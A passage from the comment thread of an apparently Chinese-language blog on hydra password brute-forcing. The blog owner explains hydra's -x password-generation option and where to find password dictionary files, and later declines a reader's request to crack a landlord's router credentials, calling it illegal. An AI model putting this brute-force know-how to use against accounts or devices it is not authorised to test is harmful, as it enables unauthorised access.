    希望也能得到版主回覆 感謝!

    回覆刪除
    回覆
    1. 1.有關暴力破解是一種用「猜」的攻擊法,帳號和密碼字典檔只是成功的因素之一。
      2.-x是在猜測試時由hydra即時產生密碼,-x 8:12:aA 就表示產生8到12位的英文大小寫組合,總共有「 398,541,260,467,162,000,000」這麼都個密碼組合,所以實用性並不高。
      3.字典檔其實就是一列一列的文字檔,一列是一組密碼,您可以到網路上尋找密碼字典。
      4.可以到https://my.vmware.com/en/web/vmware/free#desktop_end_user_computing/vmware_workstation_player/14_0下載VMWare workstation player,安裝後就可以開發 VMX 檔,就會變成一台虛擬機,如果有錢,建議購買 Workstation Pro,管理虛擬機的功能比較多

      刪除
    2. 好我去試試,非常感謝!

      刪除
  64. 請問可以幫忙破解房東的網路分享器帳密嗎.. 因為他講好說300M不限速,入住後卻又鎖成每個人只有20M 真的很慢..破解分享器應該不算違法, 拜託..

    回覆刪除
    回覆
    1. 1.對不起,您的問題我幫不上忙,破解別人的分享器帳號密碼也是違法行為。
      2.如果租屋前講好說300M不限速,入住後卻又鎖成每個人只有20M,此屬契約糾紛,您可以循法律途徑申訴。

      刪除